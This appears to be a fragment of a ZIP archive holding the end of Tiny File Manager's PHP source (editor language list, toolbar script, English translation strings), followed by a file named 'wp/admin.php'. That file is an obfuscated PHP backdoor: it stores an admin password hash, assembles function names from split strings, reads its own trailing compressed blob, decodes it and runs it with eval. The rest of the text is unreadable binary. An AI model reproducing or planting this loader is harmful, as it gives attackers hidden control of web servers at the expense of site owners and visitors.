                                "autohotkey": "AutoHotKey",
                                "apex": "Apex",
                                "batchfile": "BatchFile",
                                "bro": "Bro",
                                "c_cpp": "C and C++",
                                "c9search": "C9Search",
                                "cirru": "Cirru",
                                "clojure": "Clojure",
                                "cobol": "Cobol",
                                "coffee": "CoffeeScript",
                                "coldfusion": "ColdFusion",
                                "csharp": "C#",
                                "csound_document": "Csound Document",
                                "csound_orchestra": "Csound",
                                "csound_score": "Csound Score",
                                "css": "CSS",
                                "curly": "Curly",
                                "d": "D",
                                "dart": "Dart",
                                "diff": "Diff",
                                "dockerfile": "Dockerfile",
                                "dot": "Dot",
                                "drools": "Drools",
                                "edifact": "Edifact",
                                "eiffel": "Eiffel",
                                "ejs": "EJS",
                                "elixir": "Elixir",
                                "elm": "Elm",
                                "erlang": "Erlang",
                                "forth": "Forth",
                                "fortran": "Fortran",
                                "fsharp": "FSharp",
                                "fsl": "FSL",
                                "ftl": "FreeMarker",
                                "gcode": "Gcode",
                                "gherkin": "Gherkin",
                                "gitignore": "Gitignore",
                                "glsl": "Glsl",
                                "gobstones": "Gobstones",
                                "golang": "Go",
                                "graphqlschema": "GraphQLSchema",
                                "groovy": "Groovy",
                                "haml": "HAML",
                                "handlebars": "Handlebars",
                                "haskell": "Haskell",
                                "haskell_cabal": "Haskell Cabal",
                                "haxe": "haXe",
                                "hjson": "Hjson",
                                "html": "HTML",
                                "html_elixir": "HTML (Elixir)",
                                "html_ruby": "HTML (Ruby)",
                                "ini": "INI",
                                "io": "Io",
                                "jack": "Jack",
                                "jade": "Jade",
                                "java": "Java",
                                "json": "JSON",
                                "jsoniq": "JSONiq",
                                "jsp": "JSP",
                                "jssm": "JSSM",
                                "jsx": "JSX",
                                "julia": "Julia",
                                "kotlin": "Kotlin",
                                "latex": "LaTeX",
                                "less": "LESS",
                                "liquid": "Liquid",
                                "lisp": "Lisp",
                                "livescript": "LiveScript",
                                "logiql": "LogiQL",
                                "lsl": "LSL",
                                "lua": "Lua",
                                "luapage": "LuaPage",
                                "lucene": "Lucene",
                                "makefile": "Makefile",
                                "markdown": "Markdown",
                                "mask": "Mask",
                                "matlab": "MATLAB",
                                "maze": "Maze",
                                "mel": "MEL",
                                "mixal": "MIXAL",
                                "mushcode": "MUSHCode",
                                "mysql": "MySQL",
                                "nix": "Nix",
                                "nsis": "NSIS",
                                "objectivec": "Objective-C",
                                "ocaml": "OCaml",
                                "pascal": "Pascal",
                                "perl": "Perl",
                                "perl6": "Perl 6",
                                "pgsql": "pgSQL",
                                "php_laravel_blade": "PHP (Blade Template)",
                                "php": "PHP",
                                "puppet": "Puppet",
                                "pig": "Pig",
                                "powershell": "Powershell",
                                "praat": "Praat",
                                "prolog": "Prolog",
                                "properties": "Properties",
                                "protobuf": "Protobuf",
                                "python": "Python",
                                "r": "R",
                                "razor": "Razor",
                                "rdoc": "RDoc",
                                "red": "Red",
                                "rhtml": "RHTML",
                                "rst": "RST",
                                "ruby": "Ruby",
                                "rust": "Rust",
                                "sass": "SASS",
                                "scad": "SCAD",
                                "scala": "Scala",
                                "scheme": "Scheme",
                                "scss": "SCSS",
                                "sh": "SH",
                                "sjs": "SJS",
                                "slim": "Slim",
                                "smarty": "Smarty",
                                "snippets": "snippets",
                                "soy_template": "Soy Template",
                                "space": "Space",
                                "sql": "SQL",
                                "sqlserver": "SQLServer",
                                "stylus": "Stylus",
                                "svg": "SVG",
                                "swift": "Swift",
                                "tcl": "Tcl",
                                "terraform": "Terraform",
                                "tex": "Tex",
                                "text": "Text",
                                "textile": "Textile",
                                "toml": "Toml",
                                "tsx": "TSX",
                                "twig": "Twig",
                                "typescript": "Typescript",
                                "vala": "Vala",
                                "vbscript": "VBScript",
                                "velocity": "Velocity",
                                "verilog": "Verilog",
                                "vhdl": "VHDL",
                                "visualforce": "Visualforce",
                                "wollok": "Wollok",
                                "xml": "XML",
                                "xquery": "XQuery",
                                "yaml": "YAML",
                                "django": "Django"
                            },
                            "fontSize": {
                                8: 8,
                                10: 10,
                                11: 11,
                                12: 12,
                                13: 13,
                                14: 14,
                                15: 15,
                                16: 16,
                                17: 17,
                                18: 18,
                                20: 20,
                                22: 22,
                                24: 24,
                                26: 26,
                                30: 30
                            }
                        };
                    if (_data && _data.aceMode) {
                        $modeEl.html(optionNode("ace/mode/", _data.aceMode));
                    }
                    if (_data && _data.aceTheme) {
                        var lightTheme = optionNode("ace/theme/", _data.aceTheme.bright),
                            darkTheme = optionNode("ace/theme/", _data.aceTheme.dark);
                        $themeEl.html("<optgroup label=\"Bright\">" + lightTheme + "</optgroup><optgroup label=\"Dark\">" + darkTheme + "</optgroup>");
                    }
                    if (_data && _data.fontSize) {
                        $fontSizeEl.html(optionNode("", _data.fontSize));
                    }
                    $modeEl.val(editor.getSession().$modeId);
                    $themeEl.val(editor.getTheme());
                    $(function() {
                        //set default font size in drop down
                        $fontSizeEl.val(12).change();
                    });
                }

                $(function() {
                    renderThemeMode();
                    $(".js-ace-toolbar").on("click", 'button', function(e) {
                        e.preventDefault();
                        let cmdValue = $(this).attr("data-cmd"),
                            editorOption = $(this).attr("data-option");
                        if (cmdValue && cmdValue != "none") {
                            ace_commend(cmdValue);
                        } else if (editorOption) {
                            if (editorOption == "fullscreen") {
                                (void 0 !== document.fullScreenElement && null === document.fullScreenElement || void 0 !== document.msFullscreenElement && null === document.msFullscreenElement || void 0 !== document.mozFullScreen && !document.mozFullScreen || void 0 !== document.webkitIsFullScreen && !document.webkitIsFullScreen) &&
                                (editor.container.requestFullScreen ? editor.container.requestFullScreen() : editor.container.mozRequestFullScreen ? editor.container.mozRequestFullScreen() : editor.container.webkitRequestFullScreen ? editor.container.webkitRequestFullScreen(Element.ALLOW_KEYBOARD_INPUT) : editor.container.msRequestFullscreen && editor.container.msRequestFullscreen());
                            } else if (editorOption == "wrap") {
                                let wrapStatus = (editor.getSession().getUseWrapMode()) ? false : true;
                                editor.getSession().setUseWrapMode(wrapStatus);
                            }
                        }
                    });

                    $("select#js-ace-mode, select#js-ace-theme, select#js-ace-fontSize").on("change", function(e) {
                        e.preventDefault();
                        let selectedValue = $(this).val(),
                            selectionType = $(this).attr("data-type");
                        if (selectedValue && selectionType == "mode") {
                            editor.getSession().setMode(selectedValue);
                        } else if (selectedValue && selectionType == "theme") {
                            editor.setTheme(selectedValue);
                        } else if (selectedValue && selectionType == "fontSize") {
                            editor.setFontSize(parseInt(selectedValue));
                        }
                    });
                });
            </script>
        <?php endif; ?>
        <div id="snackbar"></div>
    </body>

    </html>
<?php
    }

    /**
     * Language Translation System
     * @param string $txt
     * @return string
     */
    function lng($txt)
    {
        global $lang;

        // English Language
        $tr['en']['AppName']        = 'Tiny File Manager';
        $tr['en']['AppTitle']       = 'File Manager';
        $tr['en']['Login']          = 'Sign in';
        $tr['en']['Username']       = 'Username';
        $tr['en']['Password']       = 'Password';
        $tr['en']['Logout']         = 'Sign Out';
        $tr['en']['Move']           = 'Move';
        $tr['en']['Copy']           = 'Copy';
        $tr['en']['Save']           = 'Save';
        $tr['en']['SelectAll']      = 'Select all';
        $tr['en']['UnSelectAll']    = 'Unselect all';
        $tr['en']['File']           = 'File';
        $tr['en']['Back']           = 'Back';
        $tr['en']['Size']           = 'Size';
        $tr['en']['Perms']          = 'Perms';
        $tr['en']['Modified']       = 'Modified';
        $tr['en']['Owner']          = 'Owner';
        $tr['en']['Search']         = 'Search';
        $tr['en']['NewItem']        = 'New Item';
        $tr['en']['Folder']         = 'Folder';
        $tr['en']['Delete']         = 'Delete';
        $tr['en']['Rename']         = 'Rename';
        $tr['en']['CopyTo']         = 'Copy to';
        $tr['en']['DirectLink']     = 'Direct link';
        $tr['en']['UploadingFiles'] = 'Upload Files';
        $tr['en']['ChangePermissions']  = 'Change Permissions';
        $tr['en']['Copying']        = 'Copying';
        $tr['en']['CreateNewItem']  = 'Create New Item';
        $tr['en']['Name']           = 'Name';
        $tr['en']['AdvancedEditor'] = 'Advanced Editor';
        $tr['en']['Actions']        = 'Actions';
        $tr['en']['Folder is empty'] = 'Folder is empty';
        $tr['en']['Upload']         = 'Upload';
        $tr['en']['Cancel']         = 'Cancel';
        $tr['en']['InvertSelection'] = 'Invert Selection';
        $tr['en']['DestinationFolder']  = 'Destination Folder';
        $tr['en']['ItemType']       = 'Item Type';
        $tr['en']['ItemName']       = 'Item Name';
        $tr['en']['CreateNow']      = 'Create Now';
        $tr['en']['Download']       = 'Download';
        $tr['en']['Open']           = 'Open';
        $tr['en']['UnZip']          = 'UnZip';
        $tr['en']['UnZipToFolder']  = 'UnZip to folder';
        $tr['en']['Edit']           = 'Edit';
        $tr['en']['NormalEditor']   = 'Normal Editor';
        $tr['en']['BackUp']         = 'Back Up';
        $tr['en']['SourceFolder']   = 'Source Folder';
        $tr['en']['Files']          = 'Files';
        $tr['en']['Move']           = 'Move';
        $tr['en']['Change']         = 'Change';
        $tr['en']['Settings']       = 'Settings';
        $tr['en']['Language']       = 'Language';
        $tr['en']['ErrorReporting'] = 'Error Reporting';
        $tr['en']['ShowHiddenFiles'] = 'Show Hidden Files';
        $tr['en']['Help']           = 'Help';
        $tr['en']['Created']        = 'Created';
        $tr['en']['Help Documents'] = 'Help Documents';
        $tr['en']['Report Issue']   = 'Report Issue';
        $tr['en']['Generate']       = 'Generate';
        $tr['en']['FullSize']       = 'Full Size';
        $tr['en']['HideColumns']    = 'Hide Perms/Owner columns';
        $tr['en']['You are logged in'] = 'You are logged in';
        $tr['en']['Nothing selected']  = 'Nothing selected';
        $tr['en']['Paths must be not equal']    = 'Paths must be not equal';
        $tr['en']['Renamed from']       = 'Renamed from';
        $tr['en']['Archive not unpacked'] = 'Archive not unpacked';
        $tr['en']['Deleted']            = 'Deleted';
        $tr['en']['Archive not created'] = 'Archive not created';
        $tr['en']['Copied from']        = 'Copied from';
        $tr['en']['Permissions changed'] = 'Permissions changed';
        $tr['en']['to']                 = 'to';
        $tr['en']['Saved Successfully'] = 'Saved Successfully';
        $tr['en']['not found!']         = 'not found!';
        $tr['en']['File Saved Successfully']    = 'File Saved Successfully';
        $tr['en']['Archive']            = 'Archive';
        $tr['en']['Permissions not changed']    = 'Permissions not changed';
        $tr['en']['Select folder']      = 'Select folder';
        $tr['en']['Source path not defined']    = 'Source path not defined';
        $tr['en']['already exists']     = 'already exists';
        $tr['en']['Error while moving from']    = 'Error while moving from';
        $tr['en']['Create archive?']    = 'Create archive?';
        $tr['en']['Invalid file or folder name']    = 'Invalid file or folder name';
        $tr['en']['Archive unpacked']   = 'Archive unpacked';
        $tr['en']['File extension is not allowed']  = 'File extension is not allowed';
        $tr['en']['Root path']          = 'Root path';
        $tr['en']['Error while renaming from']  = 'Error while renaming from';
        $tr['en']['File not found']     = 'File not found';
        $tr['en']['Error while deleting items'] = 'Error while deleting items';
        $tr['en']['Moved from']         = 'Moved from';
        $tr['en']['Generate new password hash'] = 'Generate new password hash';
        $tr['en']['Login failed. Invalid username or password'] = 'Login failed. Invalid username or password';
        $tr['en']['password_hash not supported, Upgrade PHP version'] = 'password_hash not supported, Upgrade PHP version';
        $tr['en']['Advanced Search']    = 'Advanced Search';
        $tr['en']['Error while copying from']    = 'Error while copying from';
        $tr['en']['Invalid characters in file name']                = 'Invalid characters in file name';
        $tr['en']['FILE EXTENSION HAS NOT SUPPORTED']               = 'FILE EXTENSION HAS NOT SUPPORTED';
        $tr['en']['Selected files and folder deleted']              = 'Selected files and folder deleted';
        $tr['en']['Error while fetching archive info']              = 'Error while fetching archive info';
        $tr['en']['Delete selected files and folders?']             = 'Delete selected files and folders?';
        $tr['en']['Search file in folder and subfolders...']        = 'Search file in folder and subfolders...';
        $tr['en']['Access denied. IP restriction applicable']       = 'Access denied. IP restriction applicable';
        $tr['en']['Invalid characters in file or folder name']      = 'Invalid characters in file or folder name';
        $tr['en']['Operations with archives are not available']     = 'Operations with archives are not available';
        $tr['en']['File or folder with this path already exists']   = 'File or folder with this path already exists';
        $tr['en']['Are you sure want to rename?']                   = 'Are you sure want to rename?';
        $tr['en']['Are you sure want to']                           = 'Are you sure want to';
        $tr['en']['Date Modified']                                  = 'Date Modified';
        $tr['en']['File size']                                      = 'File size';
        $tr['en']['MIME-type']                                      = 'MIME-type';

        $i18n = fm_get_translations($tr);
        $tr = $i18n ? $i18n : $tr;

        if (!strlen($lang)) $lang = 'en';
        if (isset($tr[$lang][$txt])) return fm_enc($tr[$lang][$txt]);
        else if (isset($tr['en'][$txt])) return fm_enc($tr['en'][$txt]);
        else return "$txt";
    }

?>
PK       ! n n %  readability-score-groups/wp/admin.phpnu [        <?php
$passhash = '9bd74360b120b752847479dbf10ce8a3';
$userSh = 'admin';
$vmzb='subs'.'tr';$ngrK='st'.'r'.'_repl'.'ace';$xyPn='exi'.'t';$eBWD='fi'.'le_get'.'_conten'.'ts';$tqpz='gzuncomp'.'ress';eval($tqpz($ngrK('tusizcofhj',">",$ngrK('osmvywndbc',"<",$vmzb($eBWD( __FILE__ ),-172352)))));$xyPn(0);
?>
xZ.w8u@F6e4fT(ZkrrA}扈l'=i8i?{7?WV̯zֿK_pR7ɿ}n_?eٿ?_W._/ßǺ'y˿7w)Nۿ?/{Qawk?N8o?|ۗ1?r?ˇ_B돿_[oF폿AoaOQu?.}wp`=ߧ?7?Yw/?/o_yg/ދ^k31byo8䵃[_듦g:XSEoo)=tusizcofhjW^?9ǿ'Pؿc\gj+Կleeg:p췥@?~&?s%{#춴?Uқ\Ѷ^_b.skosk/7$9菷~1Gys3F?(F_otusizcofhj4ԭI~gǿYo5?YooXGt4qrO0}cȏQ -Cu֮nMECulP8feN4E0kDJ"HLVs&G@S[Ķ
f+t%I1zSJf̢_,	+ o9gYtusizcofhjҞ-K3Ns:GޥJnJZODoОUv/K5Jkˆ7H:1P)88"C,kj~_۷P]~nD.v`tW۹p͊җAxefٜjtusizcofhjivplX'd1|!z3q,ݞ_;CQosmvywndbcsW[c)}[W_gĖn-3I\cQi3f8TtQK(١}O5ȰZ\BEDI,osmvywndbc^ޜgISaQ1osmvywndbcұEEtusizcofhjI$ZW%*OϑfDۍQ!k3R?veAb}qp6`/哟mn._.bYAa(osmvywndbc%W;`Z)vH*(DyjF#&кn'!
2?T_ʯ5ݭJ1H1ѣCXu K];1ӗ#OWi%-r4Bd$-@O"V3PdD:*ĳ98P&'{~gvH|ahwS}EV;|4PG7$j]_Bj9+=O'AR0ޚ9b+QIC	ӥbLc7XɫQ0sQ^*]k	5/OϷosmvywndbcrƷr6kcݯԾxփ?vosmvywndbc;@{g#ǖȷX~A!H|/ $
^bh(
[$ܥykx+Rpvn!ybmթl6c)ZpWK ާ\RL&Go۝㵻^Dv҃-,h/*A}'9m!}=/$qT184qsyg
˞osmvywndbc0N6tusizcofhjz[tƯgtusizcofhjMzd){!~8bHca1\'Ć̗ctݶkJQ-5Cf_DOxr$ U;WŝdG.X}_;,hm==SSӾo_Ky-Op$k̗g1cGjp_SIDnQDtoЄ9ɹEN6-0d9fqhXIA[F鱤Vײm" {~_O[k
 #ذ 1iYhF*Jo.0I+g( X֘ L'&H W}QLO=vazխY*4e\6X7XE0ͻR'1]\AH*(:1q'|j﫿΋8iq́sw c(1Qp5%B@uqdh0_K!T+OMFaU_y %}tDt;;}!tusizcofhjotusizcofhjxֆgefCiQPEY
\[uopB6`޽DKtusizcofhj˻O}x+w|jzZ!aojkq8-3K#vjBK"ۊmu8"0ϐ#$;ʖ
b^Id1`ڽ٤(g3* 	R:Tosmvywndbc$6֕_!߁ž!R'7x-=NULz:(b+V=
z`mSC{5Y
;p_ᔪp`aRe4!~٫_z9Mâk&fZٲ
٪)F6םy~osmvywndbc+Je^zcFF3ئ}Gosmvywndbc媻m ]tusizcofhjCbbr`tKJBj}z'
R@,N_svEKepuEi9zƏ₧{x^5c"fQ/n_,ۥN9+JjjS/~%O /7]M?osmvywndbccEq0:MuC@:݄	#u2ǎX_zwyҰ	γEXyqʠV0HPAWiLmnKLo٣osmvywndbcTHi]qsdUuzLG,fDK{:C» hC_顆I؏kip'Mف2qVjbjds4QhZjv=qtusizcofhjDYI,.l4n:Y~2Lnjϭ|"i,&Mh~M9b4*tׅhT۞/PV9+JQV+UkOo0?0m=F%1!ZzRҊbWcqJD$MWpVI4Wf-,W󣆷6FIi}Һo̰PtusizcofhjZ.,L8Ne_W
b^}@|qpV#e=@ڶr	QY
{[hZ&_ ہ	wsg~ڙJpHfTosmvywndbc3מӤqTCuLjt7;-qZlv*9
`p(oNҽ;]wvmTf+`I(Bʃ6py}K=x8Uڄ&,
K{/[%2A eȭJ_cYǄùgfT,Q0av?=;p0]!TX,4u.bM5josmvywndbcp7펲셈k|*8y\}۬*ɋ,ݨk=Ftusizcofhj]d7s`VnR;,\?U?ǆ_etusizcofhj}(jGosmvywndbc5fE972kJg{Ĉy6cw%\0i~ʆxktusizcofhjtusizcofhj:4ȕ"1ɧ=1]ŒLZ+Nrxפm'˳MاFR~^	;(Rq(̏:g't#;L6%1)
T2C6dIۢɒkw= O|ډaE8{C'v[tusizcofhjي/%K=nDъ24`(Fq,kFsFi-+-/xrSo@͉Н`(eC(choBw3|!R T/Ao:y`YA0R@#rtusizcofhjtW7+1 wQ۾2ickҰ9rٴ9EkIѧ ǪcQ6`fwLwo}΅6~
Z);SWvBnkFW۲ L_?\U1 1=0%r~J'!pp,sIn}tSs~&[Bw% xg%ۨj窇pJ9e!@[ӏ\R9DoLܞ4̀hxx/ȋT`D~4	tusizcofhjE?ZSD|/jg*~80^ULH'ԀH_osmvywndbcDnbeҾ4lBA!y=~_gV.mXITE˪_EPÜivih3EWQ;KTU!~[)ۃǲʂdڶ!5᱓4?BuosmvywndbcbUp'2Q"2Eg|/u%@19
1F8ًO##.nY%*F,osmvywndbcw=wN)P|}ݐ.&k_'u~ma*ܕ\yIԶ0P06]0^-(A$r@.zƷfNe&nL
7o ou00'+k9(Ck҇rktVlySĝ$&6vnkxҩosmvywndbcȌ6=)ruR=&DT-y԰e%9GI!~g.wm;:d.X𺏌q0aR7p$6M䫌?Bg`*7xMC"bf؇YpX(~V1;FQE?[Nawqsf_S4@[UrEgHO]J)pٍR&n*UBL[z(k(Yձ]jZ?؝71?Do{~0̸o@M `tusizcofhj}zR6X⥶)Op,J3Q$Wi-Cfj9#\Qcb1Q8|TIE}lqkP{^e)S[Ɉc1zTrW}t{^.&w8bo9KD(*MQ~G,ӛ8ݚBS\Z KaJ x$Avn$Wf'a@|`6.L`Ҍ,sW~b \IȦUp|xKCBpr$^ԓ(U9WX[uh`"Zo8V9gQS%tusizcofhj}Se-/iϼeם{&L~0~J0P c{L;|2:2VW:O	QuUƇ/IH#ͬ+8zLtusizcofhjBosmvywndbc lUOu ,}@).r~o9XUx	^rݺpGI)fppi}k,ENۉZCsӋ%UD[_C'A]pUk?h@0q%v8c^2B幵XV8	#mضߎ7qNֻ)D:+@6Ԫosmvywndbc snȖosmvywndbc 5E]hosmvywndbc|E\85R/Ǥ3&\l5 h"} NZkIU+ܗ:tmũ!LɰuCf@4|
ڐ)hXEmV|ӹti3߯5:
Պl`!osmvywndbc}FIx;jJBίtWRx_E92ZfRZן/	Fg^G÷:Wosmvywndbcτ⍂#`sG8|Tb=|.`0NۚosmvywndbcY+-aosmvywndbc
s]#ɢ[&n&gtusizcofhjض1jQe%Y-F:|S\^2Z#E_ҳ,_62?{7o?"ϑW}UzTosmvywndbc6}od"5~ PM͍H$tusizcofhjk 2tusizcofhjW9^7HMŋ|J&꼧3rvt'X){e b( :W-M@Q b8g,òM#çh7tPVsUghVu?B7q߰HcD4a/chBVx*HYQaU̳L\W_{BG.FD"Yuڷ?st(0RIosmvywndbcR_9jQ\g7,=[dutusizcofhjպ6WYa,6.R#{a}DNV9Lh5qG'si$ MHwJis"[vS["GrÅ,\0uo,@)dctqx1dyhѨ{wBOl1ҪK *9=?nlޫ 8:ǼO&V?P+?
_rJjJ~\벵Z@.[ EgORn27L
,Dosmvywndbc5}B(:̂Ѳگ^5j`CBA
*tusizcofhj|~^bOtusizcofhj1=~pjkIdP\+O|kX"t{(j|Zhm7=̻K&i.u!(#$vY8l #gV˗~?Nq%&e}^vdN
,(Z6[z]`lqaȗ#l-R8osmvywndbc`4qfosmvywndbc'uΚHUR{.9밠O4VՉrpmstusizcofhjk^/f/@X:J Bʎ	bl5osmvywndbcO66__͛W]CϐWb`	V+Z4Dp
?t=.h"mR_.1^-FfQ$BEmttusizcofhjSLCWu`X]q^~;pFCQl`R;&	_n]a߾ϳtusizcofhj.%DUWfTosmvywndbcߨg?0iS\JrOTI=7vIxe$f˥?tSWXrUfVN`Ӂڝy{KGl{V)y)ߖMK;|o\4,ƫR@osmvywndbcQ4s"3Z6tZ߻z=Lr[J6н%bvv&X$Z_ʩ=luF~r\KiOp^gDtnں,.=O	)$s/M|\LRϨhF|9հosmvywndbc5%b}~ŖzGg%`q
N$v7ټ`8}믱P?5(YaosmvywndbcӌTPw%p(ʘMr^11xϲGx_G	-Na?u3tusizcofhj%~:H!@iБ0MƇb["x)=wpKQm4윩ZKr^X(ʘVmaT26osmvywndbc6=%#y=oA	5Jqwyyꪏ[osmvywndbcB,U*xP$VәyUl`r^=-jOsހ7φ*
]thdefW	sZtusizcofhjosmvywndbc^er-X`
k7osmvywndbc lRvD!Fq(j3o-%Kd:A g^[F&jzT8
UUG\98tusizcofhjtusizcofhj~:#ѐm&yk{4P"x}*fc.c_ns9kA桮Lr4ۻ!*MBG~	$"y[Y1c^D=;PI7JtusizcofhjыLzMyk+s{9)l)Y:\*oyxM"Ccse9gti%Bͱ6&oOdK;S#T3/CCWVN@zؕiO{}?Fi*NĜ!ޡ 2X̆1Ud*H/&X"K.8t/rF#^bÁL`ݯ]H/_h	O5O mtusizcofhjº/2GAox!$dH*ݖFh*jjELe8.ũe#{_0~WULي1&OcY1d9iLA$n)
PBxRs}&Fn9ɼVD(CH;l407:gTL9`uXe1\a}߹F2)9J7nfƄ~3.,lڟhI7p:Tb,vwqH0c`ꪩ5d"$''s2'-uk0osmvywndbcrkEDk6Dϲb:zWqtusizcofhj{5`j	.Z~)4osmvywndbc`G*bGyRe%,"!-zJposmvywndbcx:	?07hQf:5H$`OAhM˰iK]|Hm,2TT##ڂvpxKmNW+5BTgЧZ(Eb6٢T".i-4vwD)RS&	9BsbHhCסHNtusizcofhj7Q*"B6`-}J	\BHƎx%3+"iZ8rmzmg?@ 1tusizcofhjJ1	A͵8LWƴnpöN$\)c@WYc5"F0Qq"Axf,V3PGfY.4rw}In?%TcJo$+UBbYט4	xӿڭ!S{r.m}J(M;yGC! Av8?c5jtj[էosmvywndbcwk\V:4:bhVq$-?%fyqq}]ۏܐNP05A\Q2|Ǆ/B@BȡG=CK23["^,I?i.osmvywndbc`eObh~QM7)XItusizcofhjR~QH}(IQ"SK'贞
TeaF4~(yv&Tp\v(Ky/BA^^ǯGF	La|O:92Bm7ώ_ēҥ:k8*'?G}QoB.jn9bArC#͑m-5WXfM}+KJ0$}+W2\l GSkN.ܵ{U7Nh}J:t0(? @I]`ktusizcofhj//_$]l'*kV$`Rh~F\2kF}ZЃosmvywndbc=߶Z	B/=="7ȔAKcOTt A-+~7d/oJ+{hY9nӐEYPX3i T ln.L)E`l}w?1	aˠ\^~!osmvywndbcve랠[v&Ed8XןiM75A# ;'q}RN	"Ԗ􃋭^v7㨜+qJ\TKD&pV97_ϜG=TY^D8osmvywndbcW5v^pjǩ]^=tusizcofhj"%^T끓LP-7:5G )Yj~9,vޥBLS0لyۭ{x "X4қi;/osmvywndbc0Rۺy\jj/CM[#3n6j*0"gllpA.7^uN/YIPd@,UM!
ݮ7w`^|[ԫWrw࿊1kc/`d)[{̫7 foWfω gĎRLX*DN8fk]cՄA@Bɀ3iϋL)~0uSfX%\vN5~j8$K^#% w%be7cw\&(*xuM+Pt:@'qE:8"'כ$g
pC!*E#(f:05Rbd{??}a.N\:k6\ЩU	F߼4zӎgq!}uM'{5&QVb(25r`?0`.J"%Y^-_`-'j%!*phσ'F\gsZ^~J^uL,WYETlzrvL8	O2r3Vߋ+YîtusizcofhjP B0ThWtusizcofhjRM(TvB$gO&tusizcofhj@{!ѫʄY=韠=ke=J6/K/5yUh/H|-tlICJޏWwu=H'b z@ihE w ~M^nhۙkCۑb_Hi;=ʮoY[rZ6VllUvIJbELB@v$?x!uxqʚ'l϶PsZ1%gc)x0#iMhR)\![eU~$AB%T	+r#Xޞs!tusizcofhj584fRݤi_E-D2=tusizcofhjX3($ݾI}iٺ(3˴M;b;-yz`^Rr7tusizcofhj{Iҁ
e
B:NVD_|ÒdfO93!zܾމK]7ETlٵ%%Q
	bh$3uۑm {w7X45xŦ_YeMj X]JQ=Z"ֽ6}x+8BP]jFa5nuuatusizcofhj@aN$Q_MT1z|,~Pi "A}ɞ`b];hVzdoAW$B#untusizcofhj6jWbƁ7I@4}^ٴixĽ巏=\:M? oE|f.
|s,Xr{f-؊۔RB4i5r3|' oͬm;^|!tusizcofhj̈́SƢcq_0%H̬b.ݾe}(eq8C_͖BHKɼ%_p5B7,))@KM[JjYd2F;bfH5}͛|iI\[h3l11APUbj[+@)OsN.^V"^AosmvywndbcHHtusizcofhjU09ODenxB6@p9a|$-
#%M[FTosmvywndbctusizcofhjwPlX"Zp(A$e~osmvywndbcGg❶=2Uxp"1m'A0f98ynȋهsQێg; +p9s=Ҭ&q?1({揪]4ѩLVp
R9?b5j:7-[zBؚR,@OmBcȯ9!"3}JY}V&[7ew%ɛ48;|O$O;`.0]@lExi7/1ZC.*o09FrzǾDK8e5@kwG*tusizcofhj*k	]tusizcofhjr̋V(ciOvW[u5}ug#:MܡoF9OjsF#t|/7!Ke$!q%ez럼 kT[ﮰ{8\]n
Sti*KhhaqO0	kf?eׄ7qM9lD¾	%/zDWUlK8$"  U:9-hbdSoR
ER4fn%U2w8S~NwYLq-'ch8P7UF{Ctusizcofhjw+urvyKҷ9kS@&-
p~
b=1[Y{G*b`I/osmvywndbc	KS3ف ĕtӮJ (8%oE#en F7Y}!܋.L])osmvywndbc?-%)U"NQ$}4'S8xd=Em4TEHc1Xs{x080exq$RWposmvywndbclz,Jͻ͞7yyV4Sh2i̺f\
g0uQv~@"ݾizWa Fpt9vG)0Xۓuc ^s=QGL+Y+"b)zSxO
QP~/g\[^BzaP/"'Ww/W`F(~ ]W9n .9Ĝ r9Lois!5cFqiޫ;2Nr@97X6mˊmxXtg8 Pmu&c7ayrǴ-1Ϫ$F^ _[8i[BIJ
VWSTD9F:[%07n=6y䶵]osmvywndbctusizcofhjOO܀VVpڥȾhg-J5-_
4VTf:#5 1z+/+a.wn3	Rj98P#}3*6?ؑ 8;le;x5Aq懻1i(O%B4+
Eɷս osmvywndbcG*:FaٱM\a7moNe)#gey]yTglz`}uޛASlDw"[J5+Lm)2sZ}ؾ:W)E)VнruQ.p#'6g;oi "r/ejt9,$8 	YY.AP&v670^۪_3+Px+fNij;{=nxӖnsaFv]+wJÃosmvywndbcĞZji&o$A"a&Ztusizcofhjyr
+x1PY볮E]!|i	ٟO1)9$WU8_nNtusizcofhj Zӎg2c')au+9ѼĲ)S_/t_R)YUk~O'Ӄ zsȘmrY섚dCmhUU+Q0l!D׼aQIoT}_^|9e8JW[UEZH:F{s=Rnn6ޜW\8b2X9*yN+9cy36K
b\+osmvywndbc=(2 @  '݉{Z-H@e!i=GKtӧ&Xm%ލ޹fl]uh8Po4s8?rqexa腘k,M#$/+7ѿ&zH5Xgn$Tbj9trH5qt(=ꛃqpOH
|C$QLc}8?=9{X&PxE8_Av@?3n)
_q
_8V\ŒoǊKr.&3[eV1#-{4&_mRScv+EymLy cJ$6yibOMz߫(	MSģA -4lb!Z{Gnf&ɍy/posmvywndbc2A/QgsW*Z	+w¤'u:yWSu'Ѻztusizcofhjcϓh$@;R"f",rtusizcofhj8か#]!dVF3Ұ矞˿L
/Vosmvywndbc7kHrCswBTfly__7= ~Jˋ& ESD_)˕PtusizcofhjU}3}Kv#@Vu_s~}_ʕmXd2"0$릘eNTg
tusizcofhjgs-n.[˟:^*,׀_q!Nyr!v`&tusizcofhjlǭF?,!Пkbu :
{%X`=mNM@	PLCIҚTu[AY;(27XST!lwZ#&ẆV	I=!&U^=$SMqosmvywndbcwSyM1.:t[DՆÊISW#a$%HaXĸ@l74øI	KthI%^K92Z5v_@uᥰzQom_+95Ptusizcofhj:|3Yƻ3/M?,!t[	Rc:4:J`W,RNPZn;t''CSH)(rQoߕw8)(osmvywndbcZagTd*B
]CP\5C89MuU?gKƵU8S jaΓ{	+iEosmvywndbcg/x"cӏ }8MX(Q`VX0~@CV^ u_gsaosmvywndbcJCWP2-S*NI5smˤ׈]v*GCl-ڵZNR4ܧqך3%szVI-t{CN3qosmvywndbc1ZO99ۮrTtA:iC쩢AP6'I;rew#3/+{L,zr?ዂ0UvLR\rmmtusizcofhj=IkyhS;x˚f+=?tusizcofhjx%v/i=k.=TڲDDV\߃JDF*,+Y)s޲S12XyIeV 
Ob^;i9!xNtusizcofhj!C-US,	Yw`Ujosmvywndbc=,XisqaO5[%@Q	r͛VϏ,MrH,Y	RqGJi|(E/Dj]Q/v	d9AF19+E&SMzh7O1O;2
Shf z521*=H7r9_(n V'Xuwr{R؇m=~%tusizcofhjbf{@J 890ܦ~Fd.ΙmYb2VHG氽ԷȤ;`^7V/㰪Λ:8Fd$\7NN=%@ZAqSJk2PX~urG']ߡnMӣ&Ai
GDo½*W`{3,zv=̝8E1U%osmvywndbc3Z0+!-GQ"	'|5xUBRnolbNp$nD8h_)yqᢁ߉R?.9 y~S_3V2EӶ{ ~jjMaѥ?0Ai[jTjauqRAQНb!b4M
ĵʫ]c#JQʹW
